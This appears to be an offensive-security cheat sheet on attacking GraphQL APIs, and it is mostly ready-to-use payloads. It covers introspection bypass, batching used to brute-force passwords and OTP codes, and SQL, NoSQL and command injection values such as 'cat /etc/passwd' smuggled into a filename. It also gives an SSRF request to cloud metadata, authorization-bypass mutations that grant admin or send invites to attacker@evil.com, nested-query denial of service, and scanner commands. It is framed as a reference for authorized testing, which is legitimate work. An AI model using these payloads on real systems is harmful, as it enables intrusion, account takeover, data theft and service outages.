← All cheat sheets

GRAPHQL-SECURITY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Comprehensive reference for testing GraphQL APIs for security
vulnerabilities, misconfigurations, and attack vectors.

INTROSPECTION QUERIES#

  Full Schema Introspection:
    {
      __schema {
        types {
          name
          kind
          fields {
            name
            type {
              name
              kind
              ofType {
                name
                kind
              }
            }
            args {
              name
              type {
                name
              }
            }
          }
        }
        queryType { name }
        mutationType { name }
        subscriptionType { name }
      }
    }

  List All Types:
    {
      __schema {
        types {
          name
          kind
          description
        }
      }
    }

  Specific Type Details:
    {
      __type(name: "User") {
        name
        fields {
          name
          type {
            name
            kind
          }
        }
      }
    }

  List All Queries:
    {
      __schema {
        queryType {
          fields {
            name
            args { name type { name } }
            type { name kind }
          }
        }
      }
    }

  List All Mutations:
    {
      __schema {
        mutationType {
          fields {
            name
            args { name type { name } }
          }
        }
      }
    }

  Introspection Bypass Attempts:
    # If introspection is disabled, try:
    # GET request instead of POST
    GET /graphql?query={__schema{types{name}}}

    # Alternate content types
    Content-Type: application/x-www-form-urlencoded
    query={__schema{types{name}}}

    # __type query might work even if __schema is blocked
    {__type(name:"Query"){fields{name}}}

    # Whitespace and newline variations
    {\n__schema{\ntypes{\nname\n}\n}\n}

    # Using aliases
    {a:__schema{types{name}}}

FIELD SUGGESTION ABUSE#

  Concept:
    # When introspection is disabled, GraphQL may still suggest fields
    # Send invalid field names and parse error messages for suggestions

  Technique:
    # Query with nonexistent field
    { user { idz } }
    # Error: "Cannot query field 'idz' on type 'User'. Did you mean 'id'?"

    # Systematically enumerate fields
    { user { a } }    -> suggestions for fields starting with 'a'
    { user { b } }    -> suggestions for fields starting with 'b'
    ...

  Tools:
    # Clairvoyance - automated field suggestion enumeration
    python3 clairvoyance.py -d https://target.com/graphql -w wordlist.txt -o schema.json

    # graphql-cop - GraphQL security testing
    python3 graphql-cop.py -t https://target.com/graphql

BATCHING ATTACKS#

  Query Batching (Array):
    # Send multiple queries in a single HTTP request
    # Bypass rate limiting on login/OTP/password reset
    [
      {"query": "mutation { login(email:\"admin@test.com\", password:\"pass1\") { token } }"},
      {"query": "mutation { login(email:\"admin@test.com\", password:\"pass2\") { token } }"},
      {"query": "mutation { login(email:\"admin@test.com\", password:\"pass3\") { token } }"},
      {"query": "mutation { login(email:\"admin@test.com\", password:\"pass4\") { token } }"},
      {"query": "mutation { login(email:\"admin@test.com\", password:\"pass5\") { token } }"}
    ]

  Alias-Based Batching:
    # Multiple operations in a single query using aliases
    {
      attempt1: login(email: "admin@test.com", password: "pass1") { token }
      attempt2: login(email: "admin@test.com", password: "pass2") { token }
      attempt3: login(email: "admin@test.com", password: "pass3") { token }
      attempt4: login(email: "admin@test.com", password: "pass4") { token }
      attempt5: login(email: "admin@test.com", password: "pass5") { token }
    }

  OTP Brute Force via Batching:
    {
      a0: verifyOTP(code: "0000") { success }
      a1: verifyOTP(code: "0001") { success }
      a2: verifyOTP(code: "0002") { success }
      ...
      a9999: verifyOTP(code: "9999") { success }
    }

  Data Exfiltration via Batching:
    {
      u1: user(id: 1) { email name ssn }
      u2: user(id: 2) { email name ssn }
      u3: user(id: 3) { email name ssn }
      ...
    }

INJECTION VIA VARIABLES#

  SQL Injection:
    # Query with variables
    query getUser($id: String!) {
      user(id: $id) { name email }
    }
    # Variables:
    {"id": "1' OR '1'='1"}
    {"id": "1' UNION SELECT username,password FROM users--"}

  NoSQL Injection:
    {"id": {"$gt": ""}}
    {"id": {"$regex": "^admin"}}

  OS Command Injection:
    {"filename": "report.pdf; cat /etc/passwd"}

  SSRF via Variables:
    {"url": "http://169.254.169.254/latest/meta-data/"}

  Testing Input Types:
    # Test with unexpected types
    {"id": null}
    {"id": true}
    {"id": -1}
    {"id": 99999999999}
    {"id": ""}
    {"id": ["1","2"]}
    {"id": {"nested": "object"}}

AUTHORIZATION BYPASS#

  Horizontal Access Control:
    # Query other users' data
    { user(id: "other-user-id") { email password creditCard } }

    # Access resources belonging to other organizations
    { organization(id: "other-org") { users { name email } } }

  Vertical Access Control:
    # Access admin mutations as regular user
    mutation { deleteUser(id: "victim") { success } }
    mutation { updateRole(userId: "self", role: ADMIN) { success } }
    mutation { createInvite(email: "attacker@evil.com", role: ADMIN) { token } }

  Field-Level Authorization:
    # Request sensitive fields that should be restricted
    { user(id: "me") { name email ssn creditCardNumber internalNotes } }
    { allUsers { name email role isAdmin passwordHash } }

  Mutation Authorization:
    # Test if mutations check authorization
    mutation { updateUser(id: "other-user", input: {role: "admin"}) { id role } }
    mutation { transferFunds(from: "victim", to: "attacker", amount: 1000) { success } }

  Subscription Authorization:
    # Subscribe to events you should not see
    subscription { newOrder(userId: "other-user") { id total items } }
    subscription { adminNotifications { message sensitiveData } }

DENIAL OF SERVICE VIA NESTED QUERIES#

  Deeply Nested Queries:
    # Exponential complexity via circular references
    {
      user(id: 1) {
        friends {
          friends {
            friends {
              friends {
                friends {
                  name
                }
              }
            }
          }
        }
      }
    }

  Wide Queries:
    # Request all fields on all types
    {
      allUsers {
        name email address phone
        orders {
          id total items {
            name price description
            reviews {
              text rating author { name email }
            }
          }
        }
        posts {
          title body comments {
            text author { name posts { title } }
          }
        }
      }
    }

  Resource Exhaustion:
    # Large pagination
    { users(first: 999999) { name email } }

    # Expensive computed fields
    { report(dateRange: "2000-01-01:2025-12-31") { data } }

    # Regex-based search (ReDoS)
    { search(query: "aaaaaaaaaaaaaaaaaaaaaa!") { results } }

  Mitigations to Check:
    - Query depth limiting
    - Query complexity analysis
    - Timeout on query execution
    - Pagination limits
    - Rate limiting per query

TOOLS#

  GraphQL Voyager:
    - Visual schema exploration
    - Renders interactive graph of types and relationships
    - Input: introspection query result JSON
    - Helps identify interesting types and paths
    - https://graphql-kit.com/graphql-voyager/

  InQL (Burp Extension):
    - Import GraphQL schema via introspection
    - Generates all possible queries and mutations
    - Integrates with Burp Scanner and Repeater
    - Batch query testing
    - Schema visualization

  Clairvoyance:
    - Enumerate GraphQL schema without introspection
    - Uses field suggestion error messages
    - python3 clairvoyance.py -d https://target.com/graphql

  GraphQL Cop:
    - Security audit tool for GraphQL
    - Checks for common misconfigurations
    - Tests: introspection, batching, DoS, field suggestions
    - python3 graphql-cop.py -t https://target.com/graphql

  Altair GraphQL Client:
    - Desktop/web GraphQL IDE
    - Auto-complete from schema
    - Variable and header management
    - Subscription support

  graphw00f:
    - GraphQL server fingerprinting
    - Identifies server engine (Apollo, Hasura, etc.)
    - python3 main.py -d https://target.com/graphql

  BatchQL:
    - Automated batch query attack tool
    - Rate limit bypass testing

COMMON MISCONFIGURATIONS#

  Introspection Enabled in Production:
    # Should be disabled in production
    # Test: send introspection query
    # If it returns schema data, it is misconfigured

  Debug Mode / GraphiQL Exposed:
    # Interactive GraphQL IDE in production
    /graphiql, /graphql/console, /graphql/playground
    /altair, /graphql-playground
    # Often has introspection enabled by default

  No Query Depth Limiting:
    # Test with deeply nested queries (10+ levels)
    # If server processes them without error, it is vulnerable to DoS

  No Rate Limiting on Mutations:
    # Test batching attacks (see above)
    # If all queries in a batch execute, rate limiting is bypassed

  Excessive Data Exposure:
    # Default resolvers may return all database fields
    # Check if sensitive fields are exposed in responses
    # password, passwordHash, ssn, creditCard, internalId, apiKey

  Missing Authentication on Subscriptions:
    # WebSocket connections may skip auth middleware
    # Test: connect to ws://target.com/graphql without auth token
    # Try subscribing to sensitive events

  Verbose Error Messages:
    # Errors may leak schema details, database info, stack traces
    # Test with invalid queries and malformed input
    # Example: "column 'password_hash' does not exist" reveals DB schema

  No Persisted Queries:
    # Arbitrary queries accepted (should use allowlisted queries in production)
    # If any query string is accepted, attack surface is maximized

  CORS Misconfiguration:
    # GraphQL endpoint accepts requests from any origin
    # Test with Origin: https://evil.com header
    # Check Access-Control-Allow-Origin in response

GRAPHQL ENDPOINT DISCOVERY#

  Common Paths:
    /graphql
    /graphql/v1
    /api/graphql
    /graphql/api
    /graphql/console
    /v1/graphql
    /v2/graphql
    /gql
    /query
    /graphql/query

  Detection:
    # Send a basic query to suspected endpoints
    POST /graphql
    Content-Type: application/json
    {"query": "{__typename}"}

    # Response: {"data":{"__typename":"Query"}}
    # This confirms GraphQL endpoint

    # Try GET method
    GET /graphql?query={__typename}

  Fingerprinting:
    # Different GraphQL servers have different behaviors
    # Apollo: returns {"data":{"__typename":"Query"}}
    # Hasura: returns {"data":{"__typename":"query_root"}}
    # Use graphw00f for automated fingerprinting